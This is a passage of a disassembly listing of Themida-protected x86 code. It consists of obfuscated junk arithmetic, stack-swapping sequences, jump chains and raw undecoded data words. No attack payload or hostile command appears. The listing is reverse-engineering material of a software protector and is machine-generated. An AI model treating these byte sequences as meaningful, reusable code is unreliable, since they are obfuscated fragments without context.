		dd 4A4FC2B9h, 81D1F764h, 0FFFFFFE9h, 0EC8350FFh, 0BB00E904h
		dd 248BFFFFh, 0F8E95324h, 4FFFEEEh, 240C8B7Bh, 0FF04C483h
		dd 835B2434h, 0E95304C4h, 0FFFFD113h, 4B951h, 0CA890000h
		dd 0FFF6CFE9h, 0C4815DFFh, 4, 2C413566h, 15BA6652h, 0EA816623h
		dd 1CE937FBh, 31FFFEE1h, 3C33243Ch, 8FE95C24h
		db 63h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5654CB:				; CODE XREF: Themida_:0055D8B4j
		push	ebp
		jmp	loc_55B570
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 68000000h, 281Fh, 0FFF6C6E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5654E1:				; CODE XREF: Themida_:00553770j
		add	eax, 4ED553A0h
		add	eax, esi
		sub	eax, 4ED553A0h
		jmp	loc_55454F
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 2723127Eh, 29A3C281h, 0D3014BE0h, 1C87585Ah,	24248B24h
		dd 9C2424D3h, 0FEDB94E9h, 24148BFFh, 4C481h, 91E90000h
		db 0BCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56551F:				; CODE XREF: Themida_:00555756j
		sub	ebx, 4
		jmp	loc_55FD9D
; ---------------------------------------------------------------------------

loc_565527:				; CODE XREF: Themida_:005628E7j
		pop	esp
		jmp	loc_55EFAB
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 50h
		dd 109463Ch, 5D04246Ch,	0E92434FFh, 0FFFEEF0Ah
; ---------------------------------------------------------------------------

loc_565540:				; CODE XREF: Themida_:0055D172j
		push	edi
		mov	edi, 138550F8h
		mov	edx, 0FD8A032Ah
		add	edx, edi
		jmp	loc_55D154
; ---------------------------------------------------------------------------
		dw 0F131h
		dd 8BCD015Eh, 0C481240Ch, 4, 0FF1CD0E9h, 129E68FFh, 0E1E90000h
		db 80h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56556F:				; CODE XREF: Themida_:005651E6j
		push	ebx
		push	esp
		pop	ebx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 59ED5BF9h
		neg	esi
		shr	esi, 7
		inc	esi
		neg	esi
		shl	esi, 8
		add	esi, 4C254904h
		add	ebx, esi
		pop	esi
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	27Ah
		mov	[esp], edi
		jmp	loc_568567
; ---------------------------------------------------------------------------
		db 8Bh,	34h, 24h
		dd 4C481h, 0C3310000h, 0EEE930FFh, 59FFFEDAh, 5C241487h
		dd 4BE56h, 0F0010000h, 2404875Eh, 2434FF5Ch, 8324148Bh
		dd 0EC8104C4h, 4, 244EE9h, 67CD8100h, 0F724506Dh, 20F581DDh
		dd 8158D400h, 50C76CF5h, 5DEE3195h, 0A6E4C681h,	0A7E9E3F0h
		db 74h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5655FF:				; CODE XREF: Themida_:0055B44Ej
		xchg	ebp, [esp]
		jmp	loc_55F39A
; ---------------------------------------------------------------------------
		db 5Ch
		dd 53241489h, 694ED7BBh, 8CB6BA19h, 0DA29460Dh,	5AD7295Bh
		dd 479568h, 242C8900h, 26173FBDh, 36C7816Ah, 297A247Bh
		dd 0F5A9E9EFh, 0C89FFFEh, 4EC8124h, 89000000h, 0EAB62414h
		dd 0FF2B41E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_565649:				; CODE XREF: Themida_:0056298Dj
		not	esi
		xor	esi, 7144EF8h
		sub	esi, 5073AA2h
		sub	esi, 67EECA24h
		sub	edx, esi
		jmp	loc_554B5D
; ---------------------------------------------------------------------------
		dd 0FEDA3CE9h, 2434FFFFh, 829FE959h, 0F581FFFFh, 8EB4F8F2h
		dd 218E6851h, 0E9590566h, 916h,	21E26866h, 24148966h, 0FFEA7CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_565691:				; CODE XREF: Themida_:005665EDj
		mov	ebx, 60DF2FEFh
		mov	esi, ebx
		jmp	loc_55FDDB
; ---------------------------------------------------------------------------
		db 55h,	0E9h, 6Fh
		dd 5AFFFF66h, 35C4C281h, 89512BC0h, 4EC81D1h, 89000000h
		dd 595B240Ch, 240C8B5Ah, 0FF4766E9h, 24348BFFh,	8104C483h
		dd 0BD7FADEDh, 7FE91Fh,	34FF0000h, 241C8B24h, 81E28952h
		dd 4C2h, 98BD5500h, 81624F05h, 4F059CF5h, 5DEA0162h, 5C241487h
		dd 4C481h, 0A6E90000h, 1FFFED9h, 0C3E92404h
		db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_565707:				; CODE XREF: Themida_:00562FC5j
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_55F013
; ---------------------------------------------------------------------------
		dw 368h
		dd 54000068h, 6824048Fh, 653Dh,	0E9240C89h, 0FFFF192Fh
; ---------------------------------------------------------------------------

loc_565728:				; CODE XREF: Themida_:0055BE38j
		not	al
		jmp	loc_5586A0
; ---------------------------------------------------------------------------
		db 0BAh
		dd 100A6440h, 0B95AD589h, 678BD574h, 0E95DE929h, 0FFFFCE87h
		dd 1A78C681h, 0FE2950F7h, 0FF4E73E9h, 0FFE829FFh, 815D2434h
		dd 4C4h, 24048700h, 489665Ch, 0D93BE924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_56576A:				; CODE XREF: Themida_:0055F764j
		pop	edi
		jmp	loc_55BCC2
; ---------------------------------------------------------------------------

loc_565770:				; CODE XREF: Themida_:00560C43j
		pop	ebp
		add	edx, ebx
		pop	ebx
		push	ebp
		mov	ebp, 62411B6Fh
		add	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	edx, ebp
		push	ebp
		mov	ebp, 62411B6Fh
		jmp	loc_55C3E4
; ---------------------------------------------------------------------------

loc_565792:				; CODE XREF: Themida_:00564C9Cj
		xchg	ebp, [esp]
		pop	esp
		push	esi
		jmp	loc_558B6C
; ---------------------------------------------------------------------------
		dd 0FEEAC480h, 80C4FEC4h, 0D7E90EC4h, 8BFFFFDBh, 89512414h
		dd 4C181E1h, 83000000h,	35E904C1h, 33FFFF6Fh, 0C31240Ch
		dd 240C3324h, 0E924248Bh, 0FFFF8435h
; ---------------------------------------------------------------------------

loc_5657D0:				; CODE XREF: Themida_:00561D22j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	ecx, 4
		sub	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	ecx
		push	756C194Eh
		jmp	loc_55A3F8
; ---------------------------------------------------------------------------
		db 80h,	0F3h, 0B2h
		dd 0E902E3C0h, 0FFFF94D6h, 4EC815Ah, 89000000h,	0DC68242Ch
		dd 54000059h, 0E924048Fh, 0FFFF325Bh, 5BD80059h, 0D828F604h
		dd 81E9F62Ch, 81FFFFA4h, 4C2h, 4C28300h, 31241433h, 14332414h
		dd 0C5685C24h, 8900000Eh, 5D68240Ch, 5959BFC2h,	8FE9C801h
		dd 68FFFF98h, 3042h, 0E9240489h, 0FFFF47B0h, 60DAF581h
		dd 0EE893C8Dh, 1E3AE9h,	590400h, 0C0B151D8h, 0F6C0F180h
		dd 0DDD4E9D1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56588A:				; CODE XREF: Themida_:0055E844j
		add	ecx, 0FB183017h
		sub	eax, ecx
		pop	ecx
		add	eax, ecx
		add	eax, 240734A1h
		pop	ecx
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		or	eax, eax
		jmp	loc_563584
; ---------------------------------------------------------------------------

loc_5658AC:				; CODE XREF: Themida_:0055E51Aj
		add	esp, 4
		push	dword ptr [esp]
		pop	ecx
		push	ebx
		jmp	loc_555A62
; ---------------------------------------------------------------------------
		db 0F6h, 0D5h, 0C0h
		dd 2DE905E5h, 68FFFF99h, 3E3Fh,	0E9241489h, 0FFFF0D4Bh
		dd 0B9E9CE01h, 83FFFF94h, 136804C4h, 89000054h,	0EC812434h
		dd 4, 0BA241489h, 2F90632Eh, 18BCB850h,	0EA81387Bh, 3AD6530Ah
		dd 31CDE9h, 0B8E95300h,	0BAFFFEDCh, 1C62489Ah, 0CFE9D701h
		db 3Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_565913:				; CODE XREF: Themida_:0055AEF9j
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_55C6FC
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 5A2F7205h, 76940577h, 0ACE93AFDh, 33FFFFE0h,	14312414h
		dd 14ACE924h, 0E9810000h, 4C841CCDh, 0C181D901h, 4C841CCDh
		dd 0FF5FD2E9h, 81E789FFh, 4C7h,	0E2DE900h, 0C15AFFFFh
		dd 12E908E9h, 0C1FFFF58h, 7F3507E0h, 16613ABh, 15A58C6h
		dd 0C4E95EF7h
		db 54h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_565977:				; CODE XREF: Themida_:0055EB47j
		and	ebp, 75492A94h
		add	ebp, 0D273BC6h
		not	ebp
		jmp	loc_5633CC
; ---------------------------------------------------------------------------

loc_56598A:				; CODE XREF: Themida_:0056211Cj
		shl	ebx, 2
		shl	ebx, 1
		push	edi
		jmp	loc_568C1C
; ---------------------------------------------------------------------------

loc_565995:				; CODE XREF: Themida_:00557373j
		add	ebp, 4
		add	ebp, 4
		jmp	loc_561C7B
; ---------------------------------------------------------------------------
		dw 8B9h
		dd 523A2D75h, 0DA69E2BAh, 7885E931h, 0E95CFFFFh, 0FFFF8C4Ah
		dd 0D1C58145h, 5648DB5Dh, 3427BEBEh, 8BF5295Bh,	0CFE92434h
		db 1Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5659D3:				; CODE XREF: Themida_:00555783j
		pop	ebp
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		jmp	loc_559C90
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 0E5291F92h, 815EF109h, 0C596DCE9h, 8DEE810Eh, 29136626h
		dd 8DC681CEh, 8B136626h, 0C481240Ch, 4,	0E95EF789h, 0FFFF0BFCh
		dd 4491BD55h, 0EB01FB79h, 0E9DA015Dh, 0C57h
; ---------------------------------------------------------------------------

loc_565A24:				; CODE XREF: Themida_:00565F95j
		add	eax, edx
		push	dword ptr [esp]
		jmp	loc_560F6C
; ---------------------------------------------------------------------------

loc_565A2E:				; CODE XREF: Themida_:00553E15j
		push	ebx
		mov	ebx, 2FD373CEh
		add	ebx, 0D02C8C36h
		add	edx, ebx
		pop	ebx
		jmp	loc_567F1F
; ---------------------------------------------------------------------------
		dw 0DD01h
		dd 62A5BB53h, 49E95FE6h, 8FFFFFCEh, 0D64FE902h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_565A56:				; CODE XREF: Themida_:00564EBDj
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		push	3679h
		mov	[esp], ebx
		jmp	loc_55F521
; ---------------------------------------------------------------------------

loc_565A6F:				; CODE XREF: Themida_:0055E1B0j
		add	ebp, 4
		jmp	loc_55D9A4
; ---------------------------------------------------------------------------
		db 89h
		dd 0F5B1E9D8h, 8953FFFEh, 4C381E3h, 83000000h, 1C8704C3h
		dd 0EA75E924h, 0EE9FFFFh, 31FFFED6h, 2D58243Ch,	1E6C27F1h
		dd 211BBD35h, 86BA5226h, 42253B6Dh, 0FF852EE9h,	0E2E95BFFh
		dd 29FFFF7Eh, 0D5FCE9CAh, 0C381FFFEh, 0FFFFFFFFh, 0CEC381h
		dd 0D9899937h, 0C448E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_565AD2:				; CODE XREF: Themida_:00555F33j
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_557C14
; ---------------------------------------------------------------------------

loc_565ADB:				; CODE XREF: Themida_:0055A7EEj
		sub	eax, 0FFFFFFFFh
		sub	eax, 0C961088h
		jmp	loc_556B79
; ---------------------------------------------------------------------------
		dd 5B39EE80h, 0B7535266h, 1AF780C8h, 0E988C780h, 0FFFFB97Eh
; ---------------------------------------------------------------------------

loc_565AFC:				; CODE XREF: Themida_:0055D88Ej
		mov	ecx, 7BD1B79h
		add	ecx, 2FCD1307h
		jmp	loc_556705
; ---------------------------------------------------------------------------
		dd 0F84715BDh, 69B85050h, 0E95FFF50h, 0FFFF8B3Dh, 9EEE815Bh
		dd 2939AB6Ch, 0D067E9F3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_565B2A:				; CODE XREF: Themida_:00567F3Fj
		push	esi
		push	eax
		mov	eax, 3C5E3B26h
		sub	eax, 1D27C05h
		add	eax, 0FFFFFFFFh
		xor	eax, 727FCDA5h
		mov	esi, eax
		pop	eax
		jmp	loc_5617B8
; ---------------------------------------------------------------------------
		dd 0FED558E9h, 81E389FFh, 4C3h,	4C38100h, 0E9000000h, 0FFFEFB21h
		dd 0E9240489h, 0FFFF9BEBh, 0E92434FFh, 0FFFF9747h, 4EC81h
		dd 14890000h, 94B85024h, 8926C13Fh, 24048BC2h, 0FF3782E9h
		dd 0FFFA89FFh, 835F2434h, 0D70104C4h, 8324148Bh, 0E95704C4h
		dd 0FFFFDBBEh, 5424248Bh, 5624048Fh, 0D95E3FBEh, 0F717E908h
		dd 0E955FFFEh, 0FFFF4118h
; ---------------------------------------------------------------------------

loc_565BB8:				; CODE XREF: Themida_:0056732Fj
		push	51DAh
		jmp	loc_568D6D
; ---------------------------------------------------------------------------

loc_565BC2:				; CODE XREF: Themida_:0055A1C1j
		add	esi, edi
		mov	edi, [esp]
		jmp	loc_55B395
; ---------------------------------------------------------------------------
		dd 0E3895359h, 0FF7D6BE9h, 1EE95AFFh, 5FFFFF70h, 4246C01h
		dd 2451BB53h, 0C2E95D95h
		db 1, 2	dup(0)
; ---------------------------------------------------------------------------

loc_565BEB:				; CODE XREF: Themida_:0055E438j
		add	eax, 4
		push	ebx
		jmp	loc_561E61
; ---------------------------------------------------------------------------
		dw 815Dh
		dd 0E400AC1h
		db 38h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_55B484
; ---------------------------------------------------------------------------

loc_565C0B:				; CODE XREF: Themida_:005611FBj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5649FA
; ---------------------------------------------------------------------------
		db 66h
		dd 9C2404D3h, 0FFFE6DE9h, 74FF56FFh, 34FF0424h,	0E9525E24h
		dd 0FFFF72FFh
; ---------------------------------------------------------------------------

loc_565C34:				; CODE XREF: Themida_:005548F1j
		pop	esi
		push	dword ptr [ebx]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	dword ptr [esp]
		pop	ebx
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	dword ptr [edi+eax*4]
		mov	eax, [esp]
		sub	esp, 4
		jmp	loc_567D01
; ---------------------------------------------------------------------------
		db 0B8h, 3, 8
		dd 822D2318h, 0E91A5420h, 0FFFFD476h, 0B7584668h, 51555A38h
		dd 0FF49F0E9h, 4B9FFh, 0BB530000h, 7ADB46AEh, 8245C01h
		dd 244C015Bh, 9B03E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_565C9E:				; CODE XREF: Themida_:0055EC18j
		add	eax, 12E574DBh
		push	5D87h
		jmp	loc_55E9E8
; ---------------------------------------------------------------------------
		db 5Ah,	83h, 0C4h
		dd 9BBA5204h, 0C15F154Ch, 2AE908E2h, 40FFFF66h,	47A4BC35h
		dd 0E9C231BCh, 0FFFF6F59h, 0B7536651h, 885052BEh, 58C688F8h
		dd 4EC81h, 4890000h, 0F3885324h, 0FFC6E0E9h, 0C8B66FFh
		dd 4EC8124h, 89000000h,	0AFE92414h, 89FFFFCBh, 405E0h
		dd 0BD550000h, 4, 51B805h, 57E80173h, 0FEF623E9h, 4A5025FFh
		dd 0FF502DC8h, 558240Ch, 3D6F02E3h, 738A9BDh, 74ED8177h
		dd 0E946556Ah, 10E0h
; ---------------------------------------------------------------------------

loc_565D34:				; CODE XREF: Themida_:0055E701j
		mov	ebx, [esp]
		add	esp, 4
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_55756F
; ---------------------------------------------------------------------------
		dd 6CD76856h, 815E08DCh, 543270F6h, 0FFC6816Bh,	81FFFFFFh
		dd 77A15CC6h, 8BF0899Ch, 0C4812434h, 4,	0F1BB5355h, 891C075Ch
		dd 2FFE9DDh, 0D15B0000h, 4ED6F7EEh, 4105684Eh, 0C890000h
		dd 63AAB924h, 0C18170BEh, 11E43A2Ah, 8104E1C1h,	0AD1A4DC9h
		dd 84B8507Fh, 0D519C7Bh, 23967E0Ah, 0FF671EE9h,	245C29FFh
		dd 2C8B5B08h, 9A9DE924h, 0C87FFFFh, 3AE95C24h, 56FFFF44h
		dd 0FFFFFFBEh, 5EF029FFh, 0FFBD1DE9h, 4C483FFh,	574F2D5Bh
		dd 0D8296123h, 2C76BE56h, 0FFE9138Fh, 52FFFFA5h, 0E32A7BAh
		dd 3FB8E939h, 1489FFFFh, 53E28924h, 4BBh, 0D8EA8100h, 176A63Dh
		dd 0D8C281DAh, 5B76A63Dh, 4BD55h, 0EA010000h, 74FF525Dh
		dd 8F5A0424h, 565C2404h, 8904EC83h, 4832424h, 0E95E0424h
		dd 0FFFF7714h, 8AE9F509h
		db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_565E37:				; CODE XREF: Themida_:0055BF81j
		mov	[esp], ecx
		push	edx
		push	ecx
		mov	cl, 4Ah
		add	cl, 56h
		shr	cl, 5
		xor	cl, 0DEh
		mov	dl, cl
		pop	ecx
		mov	ch, 5Eh
		add	ch, dl
		pop	edx
		sub	ch, 0F3h
		shr	ch, 5
		jmp	loc_564371
; ---------------------------------------------------------------------------

loc_565E5A:				; CODE XREF: Themida_:0055B18Dj
		push	eax
		push	esi
		mov	esi, 17AA1E7Ah
		mov	eax, 7180260Bh
		sub	eax, esi
		mov	esi, [esp]
		add	esp, 4
		push	2F11h
		jmp	loc_5643D7
; ---------------------------------------------------------------------------

loc_565E7B:				; CODE XREF: Themida_:0055750Dj
		mov	ebp, 0D8CDBC16h
		add	ebp, edi
		pop	edi
		or	esi, ebp
		pop	ebp
		sub	esi, 37407D72h
		sub	esi, 4F7E079Bh
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 550858ADh
		jmp	loc_563672
; ---------------------------------------------------------------------------
		dw 0EFC1h
		dd 35FCE904h, 74FFFFFFh, 8F5B0424h, 55C2404h, 4, 0FFB722E9h
		dd 0F65266FFh, 8B662414h, 0C4812414h, 2, 0E941F280h, 0FFFF5787h
		dd 0C3815B54h, 4, 0FF28DBE9h, 243489FFh, 0A9E9E689h, 68FFFED4h
		dd 3B2Ah, 56242489h, 4BEh, 246C8100h, 0F518B404h, 1385E979h
		dd 0AD68FFFFh, 89000055h, 0E5BA2414h, 0E92A4615h, 0B16h
; ---------------------------------------------------------------------------

loc_565F18:				; CODE XREF: Themida_:0055C216j
		pop	eax
		add	esi, 2
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_554C15
; ---------------------------------------------------------------------------

loc_565F29:				; CODE XREF: Themida_:005538F8j
		push	ebx
		mov	ebx, 0E6BB1529h
		mov	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	edi, 8DC38C2h
		jmp	loc_561FC1
; ---------------------------------------------------------------------------

loc_565F45:				; CODE XREF: Themida_:00561C81j
		add	esi, ebp
		add	esi, 6A902065h
		pop	ebp
		sub	esp, 4
		mov	[esp], esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_55C94E
; ---------------------------------------------------------------------------

loc_565F69:				; CODE XREF: Themida_:00560B9Aj
		push	edx
		mov	edx, 60E94030h
		xor	ebx, edx
		pop	edx
		push	esi
		mov	esi, 7F423A3Dh
		and	esi, 7CC31358h
		xor	esi, 0DBB2A71h
		jmp	loc_5604D1
; ---------------------------------------------------------------------------

loc_565F89:				; CODE XREF: Themida_:005633D2j
		sub	edx, ebp
		pop	ebp
		shl	edx, 6
		sub	edx, 7C7CAEBEh
		jmp	loc_565A24
; ---------------------------------------------------------------------------
		dw 0C829h
		dd 0E9E80159h, 0FFFF7D11h
; ---------------------------------------------------------------------------

loc_565FA4:				; CODE XREF: Themida_:00564CEBj
		xor	esi, [esp]
		jmp	loc_5552C0
; ---------------------------------------------------------------------------
		dd 0FF2434FFh, 68582434h, 14FBh, 89240C89h, 4C181E1h, 0E9000000h
		dd 0FFFF67C8h, 0BCB3535Ah, 0FFF834E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_565FD1:				; CODE XREF: Themida_:0055C6DAj
		push	eax
		pop	ecx
		mov	eax, [esp]
		add	esp, 4
		add	[esp+4], ecx
		mov	ecx, [esp]
		add	esp, 4
		pop	ebx
		sub	ebx, 6D14577Fh
		jmp	loc_5530A5
; ---------------------------------------------------------------------------
		db 54h,	0FFh, 34h
		dd 240C8B24h, 8104C483h, 4C4h, 4C18100h, 81000000h, 4ECh
		dd 24148900h, 0FF80BCE9h, 48922DFFh, 685B6CB1h,	4B25h
		dd 51241489h, 957E17B9h, 1BF5703h, 29000000h, 0E037E9F9h
		dd 90BAFFFEh, 0D1305217h, 49C281E2h, 555BCC5Eh,	947B7FBDh
		dd 5DEA295Dh, 17E9D629h, 66FFFF2Fh, 30EAC581h, 0FFED8166h
		dd 0F5016675h, 0FFC58166h, 0ED816675h, 816630EAh, 5E19AEEDh
		dd 0FF02C2E9h, 0C14D5BFFh, 0CEE906EDh
		db 15h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_566083:				; CODE XREF: Themida_:00554A58j
		add	esp, 4
		xor	ebx, 75B7341Ch
		add	ebx, 6F561446h
		add	ebx, 0BA220823h
		mov	edi, ebx
		jmp	loc_562DCA
; ---------------------------------------------------------------------------
		dw 0D601h
		dd 1EA5B951h, 0D1F73C49h, 0FEDCB9E9h, 241C8BFFh, 0C64E9h
		dd 31665D00h, 0DB16E9D0h, 0B868FFFEh, 0E9000043h, 0FFFFBD4Ch
		dd 8124048Bh, 4C4h, 674B6800h, 3C890000h, 30556824h, 565F3AB0h
		dd 5A1709BEh, 4CC7E945h, 0C481FFFFh, 4,	699FF281h, 0D029271Fh
		dd 0FE3EE95Ah, 0C381FFFEh, 0CE76BFB4h, 2BF8C181h, 90E90025h
		dd 0C1FFFFB7h, 0F58105E5h, 0D5F2AF64h, 2C8BEA89h, 4C48124h
		dd 1000000h, 0EC815AD7h, 4, 0FFE8DFE9h,	6FE952FFh, 92FFFFA1h
		dd 2F2EE957h, 685CFFFFh, 6CD6h,	0FEEE31E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56614D:				; CODE XREF: Themida_:005534FAj
		mov	[esp], edi
		mov	edi, 4FFE1271h
		push	ebx
		mov	ebx, 243406C2h
		jmp	loc_55BC4D
; ---------------------------------------------------------------------------
		dd 391BCABFh, 0F7DFF75Ah, 0EC781DFh, 506ED820h,	0FF13ECB8h
		dd 8BC7318Ch, 0C4812404h, 4, 295FF801h,	45E953D8h
		db 28h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56618B:				; CODE XREF: Themida_:0055549Ej
		mov	edi, esp
		jmp	loc_566657
; ---------------------------------------------------------------------------
		dw 0C389h
		dd 0E1E8E958h, 248BFFFEh, 232FE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5661A2:				; CODE XREF: Themida_:005612E7j
		add	ebp, ebx
		pop	ebx
		pop	edi
		mov	edx, ebp
		pop	ebp
		sub	[edi+24h], edx
		push	dword ptr [esp]
		jmp	loc_56262E
; ---------------------------------------------------------------------------
		dd 148BD131h, 4C48124h,	0E9000000h, 473h, 1FD0C381h, 0EB812A3Dh
		dd 0A99556BAh, 2C23BE56h, 0E6C10F28h, 41C68104h, 818BD77Dh
		dd 1F4067C2h, 60BE563Fh, 29715369h, 0F2295EF2h,	6960C281h
		dd 0EA817153h, 3F1F4067h, 7BC2815Eh, 1634F1Eh, 0D7BEE9DAh
		dd 0D0F6FFFFh, 5058C588h, 0B4CFB151h, 8BCC28E5h, 0C481240Ch
		dd 4, 28FCC580h, 0FCED80E5h, 5124048Bh,	0C181E189h, 4
		dd 4C181h, 52E90000h, 0B800001Bh, 4, 5358C301h,	0FFFC5DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56624D:				; CODE XREF: Themida_:0055F092j
		push	eax
		jmp	loc_5611EF
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0F38108EBh, 79366ADDh, 0FF72F0E9h, 242489FFh, 4240483h
		dd 0FF84DCE9h, 9EC681FFh, 0E993A149h, 0FFFF3C10h, 0C7F3815Dh
		dd 43449911h, 0E904EC83h, 0FFFED6B9h, 58C78966h, 8124148Bh
		dd 4C4h, 0C7816600h, 53E91B7Dh,	81FFFFA8h, 4C4h, 1C18000h
		dd 97B45066h, 8B66E128h, 16E92404h, 68FFFF10h, 4FF1h, 56241C89h
		dd 182670BEh, 84E95641h, 0B6FFFF5Ch, 2783E98Ch,	57ADFFFFh
		dd 0FF316AE9h, 8DC281FFh, 0E91D9C1Ah, 0FFFED7AAh, 1D04AB2Ch
		dd 0FFC522E9h, 0ED4B05FFh, 0C1315C3Dh, 0FF649FE9h, 0A9BA52FFh
		dd 1400958h, 0B207E9D0h, 0D101FFFFh, 8124148Bh,	4C4h, 1CBD5500h
		dd 0E9B1E4DAh, 0FFFFC84Dh, 4BDh, 5A93E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_566326:				; CODE XREF: Themida_:0055E3C1j
		or	ecx, 4F3611F9h
		jmp	loc_55A85C
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 4C481h, 57E90000h, 0F7FFFF98h, 0E9D187D2h, 0FFFF3438h
		dd 0C94C0E35h, 58C50150h, 0FF63BEE9h, 5B2D5BFFh, 0E930814Ch
		dd 2015h, 0E904C483h, 0FFFF9ECAh
; ---------------------------------------------------------------------------

loc_566368:				; CODE XREF: Themida_:0055A11Fj
		mov	dl, 6
		jmp	loc_563823
; ---------------------------------------------------------------------------
		db 89h
		dd 4BF57E3h, 1000000h, 0BD52E9FBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56637E:				; CODE XREF: Themida_:0055C7B9j
		add	esi, ebp
		pop	ebp
		xchg	esi, [esp]
		pop	esp
		and	eax, ebp
		jmp	loc_567270
; ---------------------------------------------------------------------------
		dd 0C48EF581h, 0C381DBA0h, 28924180h, 0EB81EB01h, 28924180h
		dd 0FFB514E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5663A5:				; CODE XREF: Themida_:00554B50j
		or	esi, 70353C2h
		jmp	loc_55BDD9
; ---------------------------------------------------------------------------
aNhW		db '­h(w',0
		align 2
		dw 43E9h
		dd 81FFFF47h, 581B44CDh, 60F58125h, 1FFFFFFh, 5CE95DEAh
		dd 81FFFFCBh, 4C4h, 24343300h, 33243431h, 248B2434h, 24048924h
		dd 0FFCF0CE9h, 5DE981FFh, 811DB33Ch, 183374E9h,	81C10174h
		dd 183374C1h, 5DC18174h, 8B1DB33Ch, 0C4812404h,	4, 4C181h
		dd 0FF510000h, 59042474h, 8B24048Fh, 24D32424h,	0CC7FE924h
		dd 1C8BFFFEh, 4C48324h,	1447685Dh, 1C890000h, 24148B24h
		dd 6F79E950h, 0D501FFFFh, 8124148Bh, 4C4h, 4C58100h, 33000000h
		dd 2C31242Ch, 242C3324h, 53D0015Ch, 39574BBBh, 7591E96Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_566466:				; CODE XREF: Themida_:0055B985j
		push	5323h
		mov	[esp], esi
		mov	esi, 2
		push	edi
		mov	edi, 57C8565Dh
		add	ebp, 0F264536h
		sub	ebp, edi
		sub	ebp, 0F264536h
		mov	edi, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_559631
; ---------------------------------------------------------------------------

loc_566492:				; CODE XREF: Themida_:00553502j
		add	edx, edi
		add	edx, 62585A80h
		mov	edi, [esp]
		add	esp, 4
		push	29D7h
		jmp	loc_56036A
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 4C481h, 1EE90000h, 5EFFFF29h, 0FF3836E9h, 0E0B151FFh
		dd 0C8BCB30h, 4C48124h,	50000000h, 0E288DC88h, 241C8B58h
		dd 4C481h, 0D3880000h, 5A2434FFh, 8904EC83h, 5954240Ch
		dd 4C181h, 0E9570000h, 0FFFED414h, 0F5354F2Dh, 2434FF32h
		dd 4C4835Eh, 0FFCB25E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_566509:				; CODE XREF: Themida_:005541BAj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_55421C
; ---------------------------------------------------------------------------
		db 68h,	0BFh, 61h
		dd 2C890000h, 2EF8BD24h, 0C5816623h, 6ACD6941h,	15DE801h
		dd 0F1E958C3h
		db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56654F:				; CODE XREF: Themida_:0055B571j
		mov	esi, 31C5074Ah
		xor	esi, 31C5074Eh
		mov	ebp, esi
		pop	esi
		jmp	loc_559F24
; ---------------------------------------------------------------------------

loc_566562:				; CODE XREF: Themida_:00561BD1j
		xor	al, 43h
		sub	bl, 21h
